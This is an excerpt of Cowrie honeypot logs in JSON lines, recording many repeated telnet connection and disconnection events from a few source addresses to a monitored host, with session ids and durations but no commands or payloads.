{"eventid":"cowrie.session.closed","duration":30.80608820915222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.562364Z","src_ip":"162.55.233.176","session":"a4b5d783ee95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4050874710083,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.843613Z","src_ip":"162.55.233.176","session":"e2f64f288770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.145532369613647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.850535Z","src_ip":"162.55.233.176","session":"dea642617a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01eaca79c8c","protocol":"telnet","message":"New connection: 162.55.233.176:44466 (159.203.135.109:23) [session: f01eaca79c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.916484Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44482,"dst_ip":"159.203.135.109","dst_port":23,"session":"88add4f4c1c9","protocol":"telnet","message":"New connection: 162.55.233.176:44482 (159.203.135.109:23) [session: 88add4f4c1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:25.095585Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"37fc1ac8285d","protocol":"telnet","message":"New connection: 162.55.233.176:44490 (159.203.135.109:23) [session: 37fc1ac8285d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:25.875665Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44140,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f41904a077f","protocol":"telnet","message":"New connection: 188.208.141.113:44140 (10.17.0.5:23) [session: 1f41904a077f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.184982Z"}
{"eventid":"cowrie.session.closed","duration":30.75155472755432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.216669Z","src_ip":"162.55.233.176","session":"e2561c385da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.114901304244995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.312868Z","src_ip":"162.55.233.176","session":"42a2b2937986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffd4fb29488c","protocol":"telnet","message":"New connection: 162.55.233.176:44498 (159.203.135.109:23) [session: ffd4fb29488c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.400033Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.40.9.4","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02fc88c89fc","protocol":"telnet","message":"New connection: 171.40.9.4:58752 (159.203.135.109:23) [session: b02fc88c89fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.560801Z"}
{"eventid":"cowrie.session.closed","duration":31.01347541809082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.661612Z","src_ip":"162.55.233.176","session":"b1a525bf20bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.431206703186035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.706181Z","src_ip":"162.55.233.176","session":"cfe515b73200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99446368217468,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:26.975384Z","src_ip":"162.55.233.176","session":"9b8232260a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.029310941696167,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.247783Z","src_ip":"162.55.233.176","session":"52b1a20aeb6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.193859815597534,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.682221Z","src_ip":"162.55.233.176","session":"e685dc738d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44506,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c5d102abe9","protocol":"telnet","message":"New connection: 162.55.233.176:44506 (159.203.135.109:23) [session: 90c5d102abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.714064Z"}
{"eventid":"cowrie.session.closed","duration":35.053609132766724,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.721123Z","src_ip":"162.55.233.176","session":"8098b2e0f9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59884810447693,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.773574Z","src_ip":"162.55.233.176","session":"2b84ebba20ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44522,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0b8d9ca8c52","protocol":"telnet","message":"New connection: 162.55.233.176:44522 (159.203.135.109:23) [session: e0b8d9ca8c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.826161Z"}
{"eventid":"cowrie.session.closed","duration":35.67765831947327,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:27.831111Z","src_ip":"162.55.233.176","session":"4256dac48120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44536,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b685819e71b","protocol":"telnet","message":"New connection: 162.55.233.176:44536 (159.203.135.109:23) [session: 5b685819e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.101659Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44550,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c5fbeac136","protocol":"telnet","message":"New connection: 162.55.233.176:44550 (159.203.135.109:23) [session: 72c5fbeac136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.145001Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44566,"dst_ip":"159.203.135.109","dst_port":23,"session":"80144bca398a","protocol":"telnet","message":"New connection: 162.55.233.176:44566 (159.203.135.109:23) [session: 80144bca398a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.248405Z"}
{"eventid":"cowrie.session.closed","duration":31.283820867538452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.521451Z","src_ip":"162.55.233.176","session":"bf0aaf06ae5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625827312469482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.720862Z","src_ip":"162.55.233.176","session":"064f0f49f695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6ed52cddd4","protocol":"telnet","message":"New connection: 162.55.233.176:44578 (159.203.135.109:23) [session: ac6ed52cddd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:28.927401Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44584,"dst_ip":"159.203.135.109","dst_port":23,"session":"29aa0d4f246f","protocol":"telnet","message":"New connection: 162.55.233.176:44584 (159.203.135.109:23) [session: 29aa0d4f246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:29.826355Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44594,"dst_ip":"159.203.135.109","dst_port":23,"session":"19680e217273","protocol":"telnet","message":"New connection: 162.55.233.176:44594 (159.203.135.109:23) [session: 19680e217273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:30.068728Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f2ed1fec5b","protocol":"telnet","message":"New connection: 206.189.32.23:39638 (10.17.0.5:23) [session: 24f2ed1fec5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:30.170729Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44600,"dst_ip":"159.203.135.109","dst_port":23,"session":"1761a5e69a53","protocol":"telnet","message":"New connection: 162.55.233.176:44600 (159.203.135.109:23) [session: 1761a5e69a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:30.242674Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fa48deebac","protocol":"telnet","message":"New connection: 162.55.233.176:44580 (159.203.135.109:23) [session: e7fa48deebac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:30.286202Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44610,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e3f565f550","protocol":"telnet","message":"New connection: 162.55.233.176:44610 (159.203.135.109:23) [session: 82e3f565f550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:30.610926Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44614,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8980d01a96","protocol":"telnet","message":"New connection: 162.55.233.176:44614 (159.203.135.109:23) [session: 2e8980d01a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.242994Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40922,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a5ad890028","protocol":"telnet","message":"New connection: 206.189.32.23:40922 (10.17.0.5:23) [session: 22a5ad890028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.362817Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea827dfef470","protocol":"telnet","message":"New connection: 162.55.233.176:44624 (159.203.135.109:23) [session: ea827dfef470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.368346Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44652,"dst_ip":"159.203.135.109","dst_port":23,"session":"39dd55b98022","protocol":"telnet","message":"New connection: 162.55.233.176:44652 (159.203.135.109:23) [session: 39dd55b98022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.716745Z"}
{"eventid":"cowrie.session.closed","duration":42.86695981025696,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.786340Z","src_ip":"162.55.233.176","session":"3763a2a537ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8effd297028","protocol":"telnet","message":"New connection: 162.55.233.176:44662 (159.203.135.109:23) [session: a8effd297028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:31.824208Z"}
{"eventid":"cowrie.session.closed","duration":32.91018867492676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.020399Z","src_ip":"162.55.233.176","session":"b48d8076fb6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44678,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc15014bed14","protocol":"telnet","message":"New connection: 162.55.233.176:44678 (159.203.135.109:23) [session: bc15014bed14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.149217Z"}
{"eventid":"cowrie.session.closed","duration":31.13740086555481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.290898Z","src_ip":"162.55.233.176","session":"ce0c4c693f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865622758865356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.378765Z","src_ip":"162.55.233.176","session":"1894de8154fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.598018884658813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.427932Z","src_ip":"162.55.233.176","session":"bc59df16927e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44686,"dst_ip":"159.203.135.109","dst_port":23,"session":"e699dc0cfcbe","protocol":"telnet","message":"New connection: 162.55.233.176:44686 (159.203.135.109:23) [session: e699dc0cfcbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.609897Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44638,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d37675cd94","protocol":"telnet","message":"New connection: 162.55.233.176:44638 (159.203.135.109:23) [session: b1d37675cd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.721166Z"}
{"eventid":"cowrie.session.closed","duration":30.88917875289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.731610Z","src_ip":"162.55.233.176","session":"ea75a9508b04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73627185821533,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.862469Z","src_ip":"162.55.233.176","session":"a1fc6e02e92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06510066986084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:32.975814Z","src_ip":"162.55.233.176","session":"44962ca72046","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26112651824951,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:33.281450Z","src_ip":"162.55.233.176","session":"ac3181f8bb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90027070045471,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:33.346454Z","src_ip":"162.55.233.176","session":"a6e93c9e699d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.36657786369324,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:33.530274Z","src_ip":"162.55.233.176","session":"d0361185e71d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56616,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e5b5572a39b","protocol":"telnet","message":"New connection: 162.55.233.176:56616 (159.203.135.109:23) [session: 2e5b5572a39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:33.595332Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce56d484cee","protocol":"telnet","message":"New connection: 162.55.233.176:56628 (159.203.135.109:23) [session: 1ce56d484cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:33.758094Z"}
{"eventid":"cowrie.session.closed","duration":31.441160917282104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.038104Z","src_ip":"162.55.233.176","session":"a66257feaa60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56638,"dst_ip":"159.203.135.109","dst_port":23,"session":"920bda17979a","protocol":"telnet","message":"New connection: 162.55.233.176:56638 (159.203.135.109:23) [session: 920bda17979a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.228232Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d18eae9e06","protocol":"telnet","message":"New connection: 162.55.233.176:56642 (159.203.135.109:23) [session: f7d18eae9e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.344090Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56658,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce67e807bb04","protocol":"telnet","message":"New connection: 162.55.233.176:56658 (159.203.135.109:23) [session: ce67e807bb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.438825Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56660,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e2d92f4daae","protocol":"telnet","message":"New connection: 162.55.233.176:56660 (159.203.135.109:23) [session: 6e2d92f4daae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.511999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3668b2344f","protocol":"telnet","message":"New connection: 188.208.141.113:55546 (10.17.0.5:23) [session: ec3668b2344f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.967708Z"}
{"eventid":"cowrie.session.closed","duration":35.10254430770874,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:34.987715Z","src_ip":"162.55.233.176","session":"f8358509c2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56666,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a9adbfb4dc","protocol":"telnet","message":"New connection: 162.55.233.176:56666 (159.203.135.109:23) [session: 50a9adbfb4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:35.190861Z"}
{"eventid":"cowrie.session.closed","duration":33.03554940223694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:35.638062Z","src_ip":"162.55.233.176","session":"f335aaed85c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.672349691390991,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:35.821500Z","src_ip":"162.55.233.176","session":"bc15014bed14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56680,"dst_ip":"159.203.135.109","dst_port":23,"session":"750bc1010d2d","protocol":"telnet","message":"New connection: 162.55.233.176:56680 (159.203.135.109:23) [session: 750bc1010d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:35.928089Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56690,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dbe9d7f4c4f","protocol":"telnet","message":"New connection: 162.55.233.176:56690 (159.203.135.109:23) [session: 1dbe9d7f4c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:36.010490Z"}
{"eventid":"cowrie.session.closed","duration":31.04489493370056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:36.252842Z","src_ip":"162.55.233.176","session":"db3abf5f33c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56706,"dst_ip":"159.203.135.109","dst_port":23,"session":"4923aff2dec3","protocol":"telnet","message":"New connection: 162.55.233.176:56706 (159.203.135.109:23) [session: 4923aff2dec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:36.373517Z"}
{"eventid":"cowrie.session.closed","duration":31.372572660446167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:36.771871Z","src_ip":"162.55.233.176","session":"a08567d7144d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.70309567451477,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:36.965621Z","src_ip":"206.189.32.23","session":"218dda4be300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49911117553711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.034921Z","src_ip":"162.55.233.176","session":"b3e7b22bd075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.968998193740845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.039502Z","src_ip":"162.55.233.176","session":"c58acbde28d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.766308784484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.446124Z","src_ip":"162.55.233.176","session":"3388bc2d0750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312193632125854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.503106Z","src_ip":"162.55.233.176","session":"2ab01981cb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.133939266204834,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.584082Z","src_ip":"162.55.233.176","session":"a9e28b58c069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.745237588882446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.701884Z","src_ip":"162.55.233.176","session":"228c4a7c9a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77888560295105,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.921022Z","src_ip":"162.55.233.176","session":"43340855361b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa6c2dd1b69","protocol":"telnet","message":"New connection: 188.208.141.113:55562 (10.17.0.5:23) [session: ffa6c2dd1b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:37.949061Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"efeee311fc92","protocol":"telnet","message":"New connection: 162.55.233.176:56712 (159.203.135.109:23) [session: efeee311fc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.100397Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74ac1a2bb3c","protocol":"telnet","message":"New connection: 162.55.233.176:56720 (159.203.135.109:23) [session: d74ac1a2bb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.509987Z"}
{"eventid":"cowrie.session.closed","duration":12.041499853134155,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.602189Z","src_ip":"171.40.9.4","session":"b02fc88c89fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44694781303406,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.747850Z","src_ip":"162.55.233.176","session":"b3b0bcc021b3","protocol":"telnet"}
